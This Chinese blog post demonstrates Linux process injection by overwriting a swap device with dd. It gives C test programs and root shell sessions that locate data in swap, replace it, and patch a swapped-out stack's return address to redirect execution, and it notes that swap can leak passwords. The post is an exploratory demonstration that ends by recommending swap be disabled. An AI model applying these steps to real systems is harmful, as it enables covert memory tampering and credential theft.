修改Linux的swap空间实现进程注入

连续两夜的大雨,舒服,下班回到家继续杂耍。

昨晚杂耍了一把/proc/$pid/mem,写了一个关于进程代码注入的文章:
https://blog.csdn.net/dog250/article/details/108618568
这个方法无非还是利用了内核导出到procfs里的一个mem文件,而且幸亏它可写!这并不是一个通用的方法,至于说ptrace,stap这种,则更多的体现为一种工具,而非手艺。

swap空间够通用了吧,哪个系统都有,它是现代操作系统的基础设施的重要组成部分,本文就拿swap空间开涮。

上上周末,我strings了一下电脑一个虚拟机的swap空间,吓人,什么都有,我的各种账户密码,登录过的网站很多都能在swap空间里被找出来,于是赶紧关掉了swap。

swap空间就是一个漏桶!一个公共晾衣架。

所以,我们可以借助swap空间玩玩进程hack。

对了,别想着加密swap空间这种见招拆招的事,swap本来就慢,你再来个加密解密,慢上加慢,为了得到一个平坦的地址空间,这么做毫无意义,加内存条就是了。

然而,加内存条不是还可以dump整个内存的吗?比如/dev/mem,/proc/$pid/mem这种…即便如此,也比swap要安全。hack swap简直太容易了!

首先,我想通过覆盖swap空间的特定位置来达到修改进程内私有数据的目的。

先看代码:

#include 
#include 
#include 

#define MADV_SOFT_OFFLINE	101

int main(int argc, const char **argv)
{
     
	void *map[65536];
	char buf[256];
	int i = 0, which;

	// 循环分配内存并写内存,目的是触发swap to disk操作。
	while (i < 65535) {
      // 65535也许有点小了,为了实验的目的,我特意将虚拟机内存缩小为64M,以更容易地触发内存swap。
		map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
		if (map[i] == NULL)
			break;
		// 眼睁睁看着是这些字符串复制进了buffer
		snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat", i);
		strcpy(map[i], buf);
		i ++;
	}
	printf("map:%d\n", i);
	scanf("%d", &which);
	printf("map after:%s\n", map[which]);
	return 0;
}

下面的操作步骤一气呵成:

  • 在swap空间查找特征字符串位置。
  • 将替换字符串dd到swap空间的对应位置。

请看:

# 在swap空间查找特征字符串的位置偏移
# 注意,我用1234做索引,目的后面我会导出进程map数组的第1234个元素,以查验它有没有被修改。
[root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
[root@localhost test]#
# 展示一下替换字符串以及其大小
[root@localhost test]# ll ./new
-rw-r--r-- 1 root root 70 9月  17 17:32 ./new
[root@localhost test]# cat new
DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang
[root@localhost test]#
# 上述偏移 0x391f000 的十进制 59895808,用替换自负串覆盖swap空间的特征字符串
[root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70 
记录了70+0 的读入
记录了70+0 的写出
70字节(70 B)已复制,0.00130832 秒,53.5 kB/秒

这里请注意,本文只是用特征字符串作为例子,实际实践中,可以用任何二进制去匹配,这里用字符串,主要是因为strings命令比较方便,也可以用正则,而如果是任意二进制match,那就需要别的二进制模式匹配的手艺了。

接下来,我在mmap程序运行的终端输入1234作为索引,看看情况:

1234 # 此为输入,根据特征字符串E1234:ZheJiang,需要输入1234为索引
map after:DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang

[root@localhost test]#

成功替换!这次没有使用stap,没有写/proc/$pid/mem,仅仅是写了一下swap而已。

既然可以替换数据,那么stack空间作为数据的一部分,它也是可以被swap out的,如果可以通过写swap来操作stack,那岂不是可以完成类似ROP的操作咯,任意替换返回地址。

接下来,让我们试一下。

再看一个代码:

#include 
#include 

void func()
{
     
	char v[] = "555555555555555555555555";
	getchar();
	printf("after getchar\n");
}

int main(int argc, char **argv)
{
     
	func();
	printf("end\n");
	return 0;
}

很简单,让我们运行它一次:

[root@localhost test]# ./a.out
A
after getchar
end
[root@localhost test]#  

输入一个字符,打印两行提示,仅此而已。

我的目标是通过操作swap空间,让该程序不再打印 “after getchar” 这句话,绕过printf,直接从fun返回,可以做到吗?当然可以!

首先运行它,但不要输入:

[root@localhost test]# ./a.out
... # 等待输入

通过objdump看一下getchar原始的返回地址位置:

400593:   e8 b8 fe ff ff          callq  400450 <getchar@plt>
400598:   bf 60 06 40 00          mov    $0x400660,%edi
40059d:   e8 8e fe ff ff          callq  400430 <puts@plt>
4005a2:   c9                      leaveq      

嗯,就是0x400598了。我要通过修改swap空间,然后将返回地址修改为0x4005a2,从而跳过printf,也就是objdump中的puts。

下一步就是找到swap空间中a.out程序的stack的位置。

想通过操作swap空间来修改进程的stack,就要想办法让其stack被换出,要想让这个o.out的stack被换出,我使用本文最开始的那个mmap进程,使劲儿分配内存,那么等待输入的非活跃进程a.out的stack内存当然就要被换出咯。

确认之:

[root@localhost test]# ps -e|grep a.out
 3230 pts/2    00:00:01 a.out
[root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
Swap:                16 kB

接下来查找特征字符串"555555555555555555555555",企图在其附近找到getchar的返回地址0x400598:

[root@localhost test]# strings -a -t x /dev/dm-1 |grep 555555555555555555555555
2e5e09a 555555555555555555555555  # 2e5e09a向下附近确定为48619550,也可以是附近别的值。
[root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550 count=4096

通过"vi -b ./stack"的":%!xxd"来编辑二进制的stack文件,找到了下面的位置:

...
00000050: 647f 0000 0000 0000 0000 0000 9805 4000  d.............@.
00000060: 0000 0000 3535 3535 3535 3535 3535 3535  ....555555555555
00000070: 3535 3535 3535 3535 3535 3535 0000 0000  555555555555....
...

将 “9805 4000” 改成 “a205 4000” 即可:

00000050: 647f 0000 0000 0000 0000 0000 a205 4000  d.............@.

用"%!xxd -r"后保存,然后再dd回去:

[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550 count=4096

在运行a.out的终端敲入字符"A":

[root@localhost test]# ./a.out
A
end
[root@localhost test]#

成功绕过了printf!

想完成这种攻击其实很简单,只需要触发系统将内存交换到交换空间即可,你要做的就是分配内存,然后让系统将被攻击程序的内存挤到 公共可见的交换空间 里,然后…

不得不说,如果一个进程的stack被换出了,那么你只要能找到这个stack在swap空间的位置,你就可以在stack上堆砌任意数据了,离线构造一个满足ReturnToLibc的ROP也不是什么难事,主要是手速,一定要快!

怎么说呢?现代操作系统的swap空间到底还有没有必要?

现代操作系统作为基于虚拟存储的操作系统,在原理上屏蔽内存介质的差异,目的是为进程提供一个平坦的地址空间,这没有任何问题。然而在实践中,我认为如今这个机制已经不需要了。swap更多的价值是作用于小内存系统的,而当代系统内存动辄几十G,如果使能swap,安全无法保证不说,频繁的换入换出还会导致进程运行的时延抖动,毫无必要了。

关掉swap吧。


浙江温州皮鞋湿,下雨进水不会胖。

你可能感兴趣的:(swap空间,进程注入)